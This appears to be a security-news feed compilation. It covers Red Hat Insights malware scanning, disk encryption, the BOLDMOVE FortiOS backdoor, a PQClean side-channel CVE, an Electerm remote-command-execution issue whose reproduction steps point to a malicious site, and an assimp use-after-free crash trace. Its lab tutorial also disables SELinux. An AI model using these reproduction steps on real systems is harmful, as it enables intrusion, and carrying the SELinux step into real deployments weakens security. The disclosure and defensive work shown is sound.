Did you know that <a href="https://www.redhat.com/en/technologies/management/insights">Red Hat Insights</a> for <a href="https://www.redhat.com/en/technologies/linux-platforms/enterprise-linux">Red Hat Enterprise Linux</a> (RHEL) can be used to help detect the presence of malware? This makes it more likely that you'll know when a RHEL system has sustained a malware attack. The effectivenes

Did you know that **Red Hat Insights** for **Red Hat Enterprise Linux** (RHEL) can be used to help detect the presence of malware? This makes it more likely that you'll know when a RHEL system has sustained a malware attack. The effectiveness of Insights for this purpose is enhanced by threat intelligence subscriptions from IBM X-Force, in collaboration with Red Hat.

The Insights malware-detection service is a monitoring and assessment tool that scans RHEL systems for the presence of known malware. The system incorporates YARA pattern-matching software and detection signatures.

Insights is a cloud-based service that can be accessed from the Red Hat customer portal. This means there is no maintenance to be done on the user's end. Simply integrate it with Insights clients, which are available for almost all subscriptions to RHEL, Red Hat OpenShift and Red Hat Ansible Automation Platform.

Insights proactively and continuously analyzes platforms and applications to help predict risks, recommend actions, track licenses and manage costs. This helps enterprises better manage their on-premise and hybrid cloud environments.

Sound good? Then I'll show you how easy it is to integrate your Red Hat environment, issue the first report on malware detection, and other useful information for smooth-running Red Hat systems.

**Prerequisites**

Since this is a modern solution, we will need a supported operating system.

*   The operating system version must be RHEL8 or RHEL9
*   The administrator must have administrative or sudo access to the system
*   The Insights client package must be installed
*   The environment must be registered in Insights for Red Hat Enterprise Linux
*   The system must be able to access the Red Hat Cloud Console via direct internet access or HTTP proxy
*   User permission on malware-detection groups, roles and members in User Access

**Laboratory**

We will work with an RHEL 8 system to better exemplify the reports generated. We will intentionally adjust some items to provide a better analysis by Insights.

The fully qualified domain name (FQDN) will be:

*   **Host**: rhel8-yara-testing.rhbrlabs.com

**Host**

For the host, we’ll use RHEL 8.5, with no updates and Security-Enhanced Linux (SELinux) disabled. This insecure setup is necessary to generate more inputs to Insights.

*   A regular update routine in a real production environment is important. Likewise SELinux should operate in Enforcing mode to increase the reliability of a production environment.

Before proceeding with the YARA installation, we need to perform three important basic tasks:

*   Take care that the environment clock is always synchronized
*   Set the timezone correctly
*   Perform the system subscription

**Basic tasks**

Disable SELinux (again, in real production environments, we recommend using SELinux in Enforcing mode), and perform the basic tasks:

\# sed -i s/'\\=enforcing'/'\\=disabled'/g /etc/selinux/config
# timedatectl set-timezone America/Sao\_Paulo
# hostnamectl set-hostname rhel8-yara-testing.rhbrlabs.com

You may want to logout/login before performing the next steps:

\# subscription-manager register --auto-attach
# subscription-manager status
# subscription-manager repos
# dnf -y install chrony
# systemctl enable --now chronyd.service
# chronyc sources
# reboot

Don't update the system yet!

**Software installation**

Now the YARA and Insights packages:

\# dnf -y install yara insights-client

Only these packages are needed for the magic to happen. Very handy.

**Using Insights**

Let's move on to performing the basic tasks below:

*   Connection test
*   Registering the system in Insights
*   Scanning the system for malware

**Connection test**

Test the connection to Insights for RHEL.

\# insights-client --test-connection

Running Connection Tests...
=== Begin Upload URL Connection Test ===
Testing: https://cert-api.access.redhat.com/r/insights/uploads/
POST https://cert-api.access.redhat.com/r/insights/uploads/
HTTP Status: 200 OK
HTTP Response Text: {"request\_id":"e7d200e80a","upload":{"account\_number":"000000X","org\_id":"1111111Y"}}
Successfully connected to: https://cert-api.access.redhat.com/r/insights/uploads/
=== End Upload URL Connection Test: SUCCESS ===

=== Begin API URL Connection Test ===
Testing: https://cert-api.access.redhat.com/r/insights/
GET https://cert-api.access.redhat.com/r/insights/
HTTP Status: 200 OK
HTTP Response Text: lub-dub
Successfully connected to: https://cert-api.access.redhat.com/r/insights/
=== End API URL Connection Test: SUCCESS ===

Connectivity tests completed successfully
See /var/log/insights-client/insights-client.log for more details.

In the example above, we can see that the system was able to connect to the Insights cloud services.

**Registering the system in Insights**

Register the system with Insights.

\# insights-client --register

Successfully registered host rhel8-yara-testing.rhbrlabs.com
Automatic scheduling for Insights has been enabled.
Starting to collect Insights data for rhel8-yara-testing.rhbrlabs.com
Uploading Insights data.
Successfully uploaded report from rhel8-yara-testing.rhbrlabs.com to account 000000X.
View the Red Hat Insights console at https://console.redhat.com/insights/

System successfully registered in Insights. Now move on to the next step.

**Malware scanning**

Run the Insights client malware-detection collector. This operation will take a while to finish.

\# insights-client --collector malware-detection

Starting to collect Insights data for rhel8-yara-testing.rhbrlabs.com
Writing the malware-detection app default configuration to /etc/insights-client/malware-detection-config.yml

Performing a test scan of /etc/insights-client/malware-detection-config.yml and the current process (PID 5638) to verify the malware-detection app is installed and scanning correctly ...

Starting filesystem scan ...
Scanning specified files in /etc ...
Matched rule TEST\_RedHatInsightsMalwareDetection in file /etc/insights-client/malware-detection-config.yml
Scan time for /etc: 0 seconds
Filesystem scan time: 00:00:00
Starting processes scan ...
Scanning process 5638 ...
Matched rule TEST\_RedHatInsightsMalwareDetection in process 5638
Scan time for process 5638: 0 seconds
Processes scan time: 00:00:00
Found 2 rule matches.

Red Hat Insights malware-detection app test scan complete.
Test scan results are not recorded in the Insights UI (https://console.redhat.com/insights/malware)
To perform proper scans, please set test\_scan: false in /etc/insights-client/malware-detection-config.yml

Uploading Insights data.
Successfully uploaded report for rhel8-yara-testing.rhbrlabs.com.

A rule related to "**TEST\_RedHatInsightsMalwareDetection**" will be matched, but this is intentional and nothing to worry about, as the operation was performed in "**test**" mode. Later on we will see how to deactivate the test mode.

The results of the initial scan may not yet appear in the detection service's Web UI, but Insights will be fully operational and update the Web UI with some information.

Go to the Insights console and check the **Insights findings** for your system.

_Insights advisory_

_Vulnerabilities found_

_Pending patches_

The collector takes the following actions during this first run:

*   Creates a malware detection configuration testing file at **/etc/insights-client/malware-detection-config.yml**.
*   Performs a test scan and uploads the results

Next, we will see how to customize the generated YAML configuration to enable other functions, as this initial scan only does simpler checks.

Edit **/etc/insights-client/malware-detection-config.yml** and set the **test\_scan** option to **false**.

\# sed -i s/'test\_scan:\\ true'/'test\_scan:\\ false'/g /etc/insights-client/malware-detection-config.yml

There are other YAML configuration options you can explore, but for now, we'll just stick with what we have.

Now perform a full filesystem scan, by re-running the Insights client collector:

\# insights-client --collector malware-detection
Starting to collect Insights data for rhel8-yara-testing.rhbrlabs.com
Skipping missing filesystem\_scan\_exclude item: '/cgroup'
Skipping missing filesystem\_scan\_exclude item: '/selinux'
Skipping missing filesystem\_scan\_exclude item: '/net'
Excluding specified filesystem items: \['/proc', '/sys', '/mnt', '/media', '/dev'\]
Starting filesystem scan ...
Scanning files in /.autorelabel ...
Scan time for /.autorelabel: 0 seconds
Scanning files in /.bash\_history ...
Scan time for /.bash\_history: 0 seconds
Scanning files in /boot ...
Scan time for /boot: 0 seconds
Scanning files in /etc ...
Scan time for /etc: 0 seconds
Scanning files in /home ...
Scan time for /home: 0 seconds
Scanning files in /opt ...
Scan time for /opt: 0 seconds
Scanning files in /root ...
Scan time for /root: 0 seconds
Scanning files in /run ...
Scan time for /run: 0 seconds
Scanning files in /srv ...
Scan time for /srv: 0 seconds
Scanning specified files in /tmp ...
Scan time for /tmp: 0 seconds
Scanning files in /usr ...
Scan time for /usr: 65 seconds
Scanning specified files in /var ...
Scan time for /var: 4 seconds
Filesystem scan time: 00:01:11
No rule matches found.
Uploading Insights data.
Successfully uploaded report for rhel8-yara-testing.rhbrlabs.com.

**Logs**

Check the Insights and malware detection logs at: **/var/log/insights-client/insights-client.log**

_Insights and malware detection logs_

**View results of malware-detection system scans on the Hybrid Cloud Console**

Prerequisites:

*   You must be logged into the Hybrid Cloud Console (https://console.redhat.com)
*   You are a member of a Hybrid Cloud Console User Access group with the Malware detection administrator or Malware detection viewer role.

NOTE: An Organization Administrator must create malware-detection groups in **Red Hat Hybrid Cloud Console > User Access > Groups** and add the necessary **malware-detection roles and members** (registered users on the account).

Navigate to **Red Hat Enterprise Linux > Malware > Systems**.

In the Insights dashboard in the customer portal, we can see the malware scan results as well as other health and safety recommendations for the environment:

_Malware scan results_

**IMPORTANT**: There is no "default-group" role for malware-detection service users. For users to view data or control settings in the malware-detection service, they must be members of one or more User Access groups with one of the following roles:

*   Malware detection viewer
*   Malware detection administrator

In the malware-detection service UI, User Access-authorized administrators and viewers can:

*   See the list of signatures against which their RHEL systems are scanned
*   See aggregate results for all RHEL systems with malware-detection enabled in the Insights client
*   See results for individual systems
*   Know when a system shows evidence of the presence of malware

These features give security threat assessors and IT incident-response teams valuable information to help prepare a response.

**Useful links**

*   Red Hat Insights
*   Product Documentation for Red Hat Insights 2022
*   Get started using the Insights for RHEL malware-detection service

How to use Red Hat Insights malware detection service

Encrypting files, folders, and drives on your computer means that no one else can make sense of the data they contain without a particular decryption key—which in most cases is a password known only to you. 

So while someone could get at your files if they know your password (the decryption key), they won't be able to take out a drive from your system and access what's on it, or use a second computer to read your data—it'll all be gibberish. It means that if your Windows or macOS machine gets lost or stolen, you don't have to worry about someone using the data on it.

How the most popular operating systems have handled encryption has changed over the years, and there are third-party tools that give you more encryption options to choose from. We'll guide you through everything you need to know about these options to help you pick the right one.

Built-in Options for Windows

Device encryption is available in the Home versions of Windows.

Windows via David Nield

Encryption on Windows is a little more complicated than perhaps it should be. First of all, there are differences between the Windows Home and Windows Pro editions: Pro users get a powerful tool called BitLocker for encryption, but with the Home edition, there's a more basic alternative. It's simply referred to as device encryption, and you can find it by choosing **Privacy & security** and then **Device encryption** from the Settings panel in Windows.

Not so fast though, as this option won't appear for everyone: It requires a certain level of hardware security support from your desktop or laptop computer. It's all rather complex, and we don't have room to go into everything in detail here, but The Windows Club has an excellent explainer. If you search the Start menu for a tool called "system information," then right-click and run it as an administrator, you can see why your computer does or doesn't support this feature via the Device Encryption Support entry.

Assuming your hardware does meet all of the requirements, and the **Device encryption** entry is visible, you can click through it to see if your system drives are encrypted—they should be, by default, if you log in to your computer with a Microsoft account. It means that anyone who accesses your hard drives without that authorization won't be able to see the data on them, because it'll be encrypted and protected. If encryption isn't enabled for whatever reason, you can turn the toggle switch to **On**.

When it comes to external drives and USB sticks, if you have the Pro version of Windows you can use BitLocker: Just right-click on the drive in File Explorer, pick **Show more options** and **Turn on BitLocker**, and set a password. For those on the Home edition though, this option isn't available—you're going to have to use a third-party tool for the job of encrypting external drives, and we'll get on to those later on in this article.

Built-in Options for macOS

Use FileVault for maximum protection on a Mac.

Apple via David Nield

Encryption on macOS isn't quite as confusing as it is on Windows, but it still needs some explaining. If you have a Mac with a T2 security chip or Apple silicon inside (so one from late 2017 or later), then the contents of your system disk are encrypted by default. Your account password is required to get into the computer and at all of the data secured on the drive.

However, without getting into too much technical detail (which you can access here if you want to dive deeper), you can add an extra layer of encryption protection by enabling a tool called FileVault. Enabling FileVault means the information required to decrypt your Mac drive is harder to get at—if, for example, someone steals your computer and connects a second computer to it. Traditionally, this could impact speed and performance, but in recent years that's become less and less of a problem and is practically unnoticeable on the newest Macs.

You'll be asked to enable FileVault when you first set up macOS on a new machine, and it's something we'd recommend. You can also turn FileVault on (or off) whenever you like by opening the **Apple** menu and choosing **System Settings** then **Privacy & Security**. There's a FileVault option there, together with some details about what it does. You'll also need to specify your preferred way of unlocking the system disk if you ever forget your password, either through iCloud or through a dedicated recovery key.

You can encrypt external drives with a password from Finder: Just right-click on them and choose **Encrypt**. If the encryption option doesn't appear, the drive needs to be wiped and reformatted to be compatible—open the Disk Utility tool in macOS, click **View** and **Show All Devices**, then select the relevant external drive and click **Erase**. Give the drive a name, choose an encrypted option under **Format** (the options are explained here) and choose **GUID Partition Map** under **Scheme**. Pick your password, then click **Erase**, and the drive is ready to go.

Third-party Options for Windows and macOS

VeraCrypt makes it simple to encrypt an external drive.

VeraCrypt via David Nield

There are a variety of free and paid third-party encryption tools available if the options built into Windows and macOS don't suit your needs, including Cryptomator, NordLocker, and AxCrypt. However, we recommend one in particular, VeraCrypt: It's available for Windows and macOS (and indeed Linux,) it's not difficult to use, and it's free.

We also recommend reading through the online documentation that accompanies the program, but getting started is quite straightforward. Say you're encrypting an external drive, for example: With the drive plugged in and formatted, open VeraCrypt and choose **Create Volume**. Next, select **Encrypt a non-system partition/drive** and select **Next**. Select the drive you want to encrypt and follow the instructions on the screen.

During the configuration process, you'll be asked whether you want to encrypt the existing data already on the drive, or format it ready for files to be added—if you already have files on the drive that you don't want to be wiped, make sure you pick the former option. You'll also be asked to specify a password to lock the drive, which you should make sure you won't forget (you won't be able to access the drive without it).

VeraCrypt also lets you create containers, or sections of a drive that are encrypted. If you need to lock up specific files and folders without encrypting an entire disk for whatever reason, then this is one of the ways of going about it. From the main VeraCrypt screen, click **Create Volume**, then **Create an encrypted file container**. You'll be asked to specify a file on disk that then acts as the encrypted container for other files and folders.

How to Encrypt any File, Folder, or Drive on Your System

By Deeba Ahmed
Chinese hackers are exploiting a previously patched vulnerability found in Fortinet FortiOS SSL-VPN by using new malware called BOLDMOVE.
This is a post from HackRead.com Read the original post: Backdoor into FortiOS: Chinese Threat Actors Utilize 0-Day

The attackers are targeting FortiOS customers, including an Africa-based MSP (managed service provider) and a European government entity.

Fortinet is an international provider of network security solutions that protect organizations from cyber threats. Lately, Fortinet’s products are quite popular among cybercriminals worldwide due to security vulnerabilities.

According to the latest report from cybersecurity firm Mandiant, a Chinese threat actor is using malware and exploiting a previously patched vulnerability found in Fortinet FortiOS SSL-VPN as a zero-day. The attacker is targeting an Africa-based MSP (managed service provider) and a European government entity.

**Findings Details**

**Google-owned Mandiant** discovered the malware in December 2022 which it dubbed BOLDMOVE. Further probe revealed that the threat actor exploited the vulnerability tracked as **CVE-2022-42475**.

Telemetry data suggested that the malicious activity started in October 2022, around two months before Fortinet released fixes. This bug allowed an unauthenticated attacker to execute arbitrary code on the compromised system and present it in different versions of the **FortiOS and FortiProxy** technologies.

Researchers were sure about the involvement of a China-based threat actor because the exploit activity showcased the Chinese pattern of exploiting internet-exposed devices, mainly those used for managed security purposes like IDS appliances and firewalls.

Furthermore, the backdoor was specifically designed to run on **Fortinet FortiGate firewalls**. The activity aims to conduct cyber-espionage operations against government entities or those associated with them.

**About the Malware**

As per Ben Read, Mandiant’s cyber-espionage analysis director, BOLDMOVE was discovered in December in a public repository and linked to the bug found earlier in FortiOS SSL-VPN because the company had released it in its initial vulnerability disclosure.

The backdoor is written in C and has two versions, one for Windows and the other a Linux version, which the adversary has probably customized for FortiOS. When the Linux version is executed, it tries to connect to a hardcoded C2 server.

If the attack is successful, BOLDMOVE collects information about the system it landed on and conveys it to the C2 server. Then the instructions are relayed to the malware, after which the adversary gains complete remote control of the impacted FortiOS device.

Read noted that some of the malware’s core functions, like the capability of downloading additional files or opening a reverse shell, are pretty typical. However, the customized Linux version is more dangerous as it can manipulate some features specific to the FortiOS.

“With BOLDMOVE, the attackers not only developed an exploit, but malware that shows an in-depth understanding of systems, services, logging, and undocumented proprietary formats,” Mandiant’s **report** read.

1.  Chinese Hackers Hiding Malware in Windows Logo
2.  Hackers exploiting critical vulnerabilities in Fortinet VPN
3.  FBI issues flash alert after APT groups exploited VPN flaws
4.  Hackers dump login data of Fortinet VPN users in plain-text
5.  Windows, Linux & macOS Users Targeted by Chinese Group

Backdoor into FortiOS: Chinese Threat Actors Utilize 0-Day

CRYSTALS-DILITHIUM (in Post-Quantum Cryptography Selected Algorithms 2022) in PQClean d03da30 may allow universal forgeries of digital signatures via a template side-channel attack because of intermediate data leakage of one vector.

**PQClean**

_See the build status for each component here_

**PQClean**, in short, is an effort to collect **clean** implementations of the post-quantum schemes that are in the NIST post-quantum project. The goal of PQClean is to provide _standalone implementations_ that

* can easily be integrated into libraries such as liboqs.
* can efficiently upstream into higher-level protocol integration efforts such as Open Quantum Safe;
* can easily be integrated into benchmarking frameworks such as SUPERCOP;
* can easily be integrated into frameworks targeting embedded platforms such as pqm4;
* are suitable starting points for architecture-specific optimized implementations;
* are suitable starting points for evaluation of implementation security; and
* are suitable targets for formal verification.

What PQClean is **not** aiming for is

* a build system producing an integrated library of all schemes;
* including benchmarking of implementations; and
* including integration into higher-level applications or protocols.

As a first main target, we are collecting C implementations that fulfill the requirements listed below. We also accept optimised implementations, but still requiring high-quality, tested code.

Please also review our guidelines for contributors if you are interested in adding a scheme to PQClean.

**Requirements on C implementations that are automatically checked**

_The checking of items on this list is still being developed. Checked items should be working._

* Code is valid C99
* Passes functional tests
* API functions do not write outside provided buffers
* api.h cannot include external files
* Compiles with -Wall -Wextra -Wpedantic -Werror -Wmissing-prototypes with gcc and clang
* #if/#ifdefs only for header encapsulation
* Consistent test vectors across runs
* Consistent test vectors on big-endian and little-endian machines
* Consistent test vectors on 32-bit and 64-bit machines
* const arguments are labeled as const
* No errors/warnings reported by valgrind
* No errors/warnings reported by address sanitizer
* Only dependencies: fips202.c, sha2.c, aes.c, randombytes.c
* API functions return 0 on success
* No dynamic memory allocations (including variable-length arrays)
* No branching on secret data (dynamically checked using valgrind)
* No access to secret memory locations (dynamically checked using valgrind)
* Separate subdirectories (without symlinks) for each parameter set of each scheme
* Builds under Linux, MacOS, and Windows
 * Linux
 * MacOS
 * Windows
* Makefile-based build for each separate scheme
* Makefile-based build for Windows (nmake)
* All exported symbols are namespaced with PQCLEAN_SCHEMENAME_
* Each implementation comes with a LICENSE file (see below)
* Each scheme comes with a META.yml file giving details about version of the algorithm, designers
 * Each individual implementation is specified in META.yml.

**Requirements on C implementations that are manually checked**

* Minimalist Makefiles
* No stringification macros
* Output-parameter pointers in functions are on the left
* All exported symbols are namespaced in place
* Integer types are of fixed size where relevant, using stdint.h types (optional, recommended)
* Integers used for indexing memory are of size size_t (optional, recommended)
* Variable declarations at the beginning (except in for (size_t i=...) (optional, recommended)

**Schemes currently in PQClean**

For the following schemes we have implementations of one or more of their parameter sets. For all of these schemes we have clean C code, but for some we also have optimised code.

**Key Encapsulation Mechanisms**

**Finalists:**

* Kyber

**Alternate candidates:**

* HQC
* Classic McEliece

**Signature schemes**

**To-be standards:**

* Dilithium
* Falcon
* SPHINCS+

**Alternate candidates:**

* No participants yet.

Implementations previously available in PQClean and dropped in Round 3 of the NIST standardization effort are available in the round2 tag.

Implementations previously available in PQClean and dropped in Round 4 of the NIST standardization effort are available in the round3 tag.

**API used by PQClean**

PQClean is essentially using the same API as required for the NIST reference implementations, which is also used by SUPERCOP and by libpqcrypto. The only differences to that API are the following:

* All functions are namespaced;
* All lengths are passed as type size_t instead of unsigned long long; and
* Signatures offer two additional functions that follow the "traditional" approach used in most software stacks of computing and verifying signatures instead of producing and recovering signed messages. Specifically, those functions have the following name and signature:

int PQCLEAN\_SCHEME\_IMPL\_crypto\_sign\_signature(
 uint8\_t \*sig, size\_t \*siglen,
 const uint8\_t \*m, size\_t mlen,
 const uint8\_t \*sk);
int PQCLEAN\_SCHEME\_IMPL\_crypto\_sign\_verify(
 const uint8\_t \*sig, size\_t siglen,
 const uint8\_t \*m, size\_t mlen,
 const uint8\_t \*pk);

**Building PQClean**

As noted above, PQClean is **not** meant to be built as a single library: it is a collection of source code that can be easily integrated into other libraries. The PQClean repository includes various test programs which do build various files, but you should not use the resulting binaries.

List of required dependencies: gcc or clang, make, python3, python-yaml library, valgrind, astyle (>= 3.0).

**Using source code from PQClean in your own project**

Each implementation directory in PQClean (e.g., crypto\_kem/kyber768\\clean) can be extracted for use in your own project. You will need to:

1. Copy the source code from the implementation's directory into your project.
2. Add the files to your project's build system.
3. Provide instantiations of any of the common cryptographic algorithms used by the implementation. This likely includes common/randombytes.h (a cryptographic random number generator), and possibly common/sha2.h (the SHA-2 hash function family), common/aes.h (AES implementations), common/fips202.h (the SHA-3 hash function family) and common/sp800-185.h (the cSHAKE family).

Regarding #2, adding the files to your project's build system, each implementation in PQClean is accompanied by example two makefiles that show how one could build the files for that implementation:

* The file Makefile which can be used with GNU Make, BSD Make, and possibly others.
* The file Makefile.Microsoft_nmake which can be used with Visual Studio's nmake.

**Projects integrating PQClean-distributed source code**

The following projects consume implementations from PQClean and provide their own wrappers around the implementations. Their integration strategies may serve as examples for your own projects.

* **pqcrypto crate**: Rust integration that automatically generates wrappers from PQClean source code.
* **mupq**: Runs the implementations from PQClean as reference implementations to compare with microcontroller-optimized code.
* **Open Quantum Safe**: The Open Quantum Safe project integrates implementations from PQClean into their liboqs C library, which then exposes them via C++, C# / .NET, and Python wrappers, as well as to forks of OpenSSL and OpenSSH.

**License**

Each subdirectory containing implementations contains a LICENSE file stating under what license that specific implementation is released. The files in common contain licensing information at the top of the file (and are currently either public domain or MIT). All other code in this repository is released under the conditions of CC0.

**Running tests locally**

See https://github.com/PQClean/PQClean/wiki/Test-framework for details about the PQClean test framework.

While we run extensive automatic testing on Github Actions ((emulated) Linux builds, MacOS and Windows builds) and Travis CI (Aarch64 builds), and most tests can also be run locally. To do this, make sure the following is installed:

* Python 3.6+
* pytest for python 3.

We also recommend installing pytest-xdist to allow running tests in parallel.

You will also need to make sure the submodules are initialized by running:

 git submodule update --init
 

Run the Python-based tests by going into the test directory and running pytest -v or (recommended) pytest -n=auto for parallel testing.

You may also run python3 <testmodule> where <testmodule> is any of the files starting with test_ in the test/ folder.

CVE-2023-24025: GitHub - PQClean/PQClean at d03da3053491e767ef842deaef43fc5bdb6bc911

An issue was discovered in Electerm 1.3.22, allows attackers to execute arbitrary code via unverified request to electerms service.

**Electerm version:**

All versions

**Operating system(linux, macos, or windows7/8/10?):**

All operating system(macos,windows7/8/10,linux)

**Detailed Description**

Electerm did not conduct permission checks, which led to remote command execution vulnerabilities.  
After testing, it affected Electerm on all operating systems.

**Steps to Reproduce**

1.Open Electerm and keep it running.  
2.Use a browser such as Chrome / Firefox / Safari to visit the malicious site I constructed: http://orz.weinull.com/orz-001.html  
3.Malicious site executes command to open calculator.

**Suggestions**

Generate a random token for service invocation at startup, and at the same time, ensure that the token has enough complexity to be guessed

**Electerm is a very good tool, hope to develop better**

CVE-2020-23256: Electron has serious security vulnerability · Issue #1686 · electerm/electerm

An issue was discovered with assimp 5.1.4, a use after free occurred in function ColladaParser::ExtractDataObjectFromChannel in file /code/AssetLib/Collada/ColladaParser.cpp.

**Environment**

Ubuntu 18.04，64 bit

**Command**

**Compile test program:**

$ cmake CMakeLists.txt
$ cmake --build .

**Compile test program with address sanitizer:**

* Update Makefile:

SET (CMAKE\_C\_FLAGS "${CMAKE\_C\_FLAGS} -fsanitize=address -fno-omit-frame-pointer")
SET (CMAKE\_CXX\_FLAGS "${CMAKE\_CXX\_FLAGS} -fsanitize=address -fno-omit-frame-pointer ")
SET (CMAKE\_LINKER\_FLAGS "${CMAKE\_LINKER\_FLAGS} -fsanitize=address -lasan -lstdc++ ")
SET (CMAKE\_EXE\_LINKER\_FLAGS "${CMAKE\_EXE\_LINKER\_FLAGS} -fsanitize=address -lasan -lstdc++ ")

* Compile program:

$ mkdir asan\_assimp
$ cd asan\_assimp
$ export CC=/usr/bin/gcc
$ export CXX=/usr/bin/g++
$ cmake CMakeLists.txt
$ cmake --build .

**Result**

The result of running without ASAN:

$ ./assimp info Assimp\\:\\:ColladaParser\\:\\:ExtractDataObjectFromChannel\_heap-use-after-free 

Launching asset import ... OK
Validating postprocessing flags ... OK
Segmentation fault (core dumped)

Information obtained by using ASAN:

$ ./Asanassimp info Assimp\\:\\:ColladaParser\\:\\:ExtractDataObjectFromChannel\_heap-use-after-free 

Launching asset import ... OK
Validating postprocessing flags ... OK
=================================================================
==19874==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000000230 at pc 0x7ffff5ec697a bp 0x7fffffffaa40 sp 0x7fffffffaa30
READ of size 4 at 0x602000000230 thread T0
 #0 0x7ffff5ec6979 in Assimp::ColladaParser::ExtractDataObjectFromChannel(Assimp::Collada::InputChannel const&, unsigned long, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x961979)
 #1 0x7ffff5ec611b in Assimp::ColladaParser::CopyVertex(unsigned long, unsigned long, unsigned long, unsigned long, Assimp::Collada::Mesh&, std::vector<Assimp::Collada::InputChannel, std::allocator<Assimp::Collada::InputChannel> >&, unsigned long, std::vector<unsigned long, std::allocator<unsigned long> > const&) (/root/asan\_assimp/bin/libassimp.so.5+0x96111b)
 #2 0x7ffff5ec5a35 in Assimp::ColladaParser::ReadPrimitives(pugi::xml\_node&, Assimp::Collada::Mesh&, std::vector<Assimp::Collada::InputChannel, std::allocator<Assimp::Collada::InputChannel> >&, unsigned long, std::vector<unsigned long, std::allocator<unsigned long> > const&, Assimp::Collada::PrimitiveType) (/root/asan\_assimp/bin/libassimp.so.5+0x960a35)
 #3 0x7ffff5ec3949 in Assimp::ColladaParser::ReadIndexData(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95e949)
 #4 0x7ffff5ec0831 in Assimp::ColladaParser::ReadMesh(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b831)
 #5 0x7ffff5ec03d3 in Assimp::ColladaParser::ReadGeometry(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b3d3)
 #6 0x7ffff5ebfd2e in Assimp::ColladaParser::ReadGeometryLibrary(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x95ad2e)
 #7 0x7ffff5eb00a0 in Assimp::ColladaParser::ReadStructure(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94b0a0)
 #8 0x7ffff5eafae1 in Assimp::ColladaParser::ReadContents(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x94aae1)
 #9 0x7ffff5eadb28 in Assimp::ColladaParser::ColladaParser(Assimp::IOSystem\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/asan\_assimp/bin/libassimp.so.5+0x948b28)
 #10 0x7ffff5e4f81d in Assimp::ColladaLoader::InternReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, aiScene\*, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x8ea81d)
 #11 0x7ffff5aeeb1f in Assimp::BaseImporter::ReadFile(Assimp::Importer\*, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, Assimp::IOSystem\*) (/root/asan\_assimp/bin/libassimp.so.5+0x589b1f)
 #12 0x7ffff5b280f8 in Assimp::Importer::ReadFile(char const\*, unsigned int) (/root/asan\_assimp/bin/libassimp.so.5+0x5c30f8)
 #13 0x555555596937 in Assimp::Importer::ReadFile(std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&, unsigned int) (/root/assimp-master/bin/Asanassimp+0x42937)
 #14 0x55555559409e in ImportModel(ImportData const&, std::\_\_cxx11::basic\_string<char, std::char\_traits<char>, std::allocator<char> > const&) (/root/assimp-master/bin/Asanassimp+0x4009e)
 #15 0x55555559f0a7 in Assimp\_Info(char const\* const\*, unsigned int) (/root/assimp-master/bin/Asanassimp+0x4b0a7)
 #16 0x555555593d30 in main (/root/assimp-master/bin/Asanassimp+0x3fd30)
 #17 0x7ffff50140b2 in \_\_libc\_start\_main (/lib/x86\_64-linux-gnu/libc.so.6+0x270b2)
 #18 0x55555556c35d in \_start (/root/assimp-master/bin/Asanassimp+0x1835d)

0x602000000230 is located 0 bytes inside of 8-byte region \[0x602000000230,0x602000000238)
freed by thread T0 here:
 #0 0x7ffff769e0c7 in operator delete(void\*) ../../../../src/libsanitizer/asan/asan\_new\_delete.cpp:160
 #1 0x7ffff5f12e93 in \_\_gnu\_cxx::new\_allocator<pugi::xml\_node>::deallocate(pugi::xml\_node\*, unsigned long) (/root/asan\_assimp/bin/libassimp.so.5+0x9ade93)
 #2 0x7ffff5ef8f21 in std::allocator\_traits<std::allocator<pugi::xml\_node> >::deallocate(std::allocator<pugi::xml\_node>&, pugi::xml\_node\*, unsigned long) (/root/asan\_assimp/bin/libassimp.so.5+0x993f21)
 #3 0x7ffff5ee4c6f in std::\_Vector\_base<pugi::xml\_node, std::allocator<pugi::xml\_node> >::\_M\_deallocate(pugi::xml\_node\*, unsigned long) (/root/asan\_assimp/bin/libassimp.so.5+0x97fc6f)
 #4 0x7ffff5ee5369 in void std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> >::\_M\_realloc\_insert<pugi::xml\_node const&>(\_\_gnu\_cxx::\_\_normal\_iterator<pugi::xml\_node\*, std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> > >, pugi::xml\_node const&) (/root/asan\_assimp/bin/libassimp.so.5+0x980369)
 #5 0x7ffff5ed6e2e in std::vector<pugi::xml\_node, std::allocator<pugi::xml\_node> >::push\_back(pugi::xml\_node const&) (/root/asan\_assimp/bin/libassimp.so.5+0x971e2e)
 #6 0x7ffff5ed0ec0 in Assimp::XmlNodeIterator::collectChildrenPreOrder(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x96bec0)
 #7 0x7ffff5ed1054 in Assimp::XmlNodeIterator::collectChildrenPreOrder(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x96c054)
 #8 0x7ffff5ed0d12 in Assimp::XmlNodeIterator::XmlNodeIterator(pugi::xml\_node&, Assimp::XmlNodeIterator::IterationMode) (/root/asan\_assimp/bin/libassimp.so.5+0x96bd12)
 #9 0x7ffff5ec0af6 in Assimp::ColladaParser::ReadSource(pugi::xml\_node&) (/root/asan\_assimp/bin/libassimp.so.5+0x95baf6)
 #10 0x7ffff5ec06ff in Assimp::ColladaParser::ReadMesh(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b6ff)
 #11 0x7ffff5ec03d3 in Assimp::ColladaParser::ReadGeometry(pugi::xml\_node&, Assimp::Collada::Mesh&) (/root/asan\_assimp/bin/libassimp.so.5+0x95b3d3)
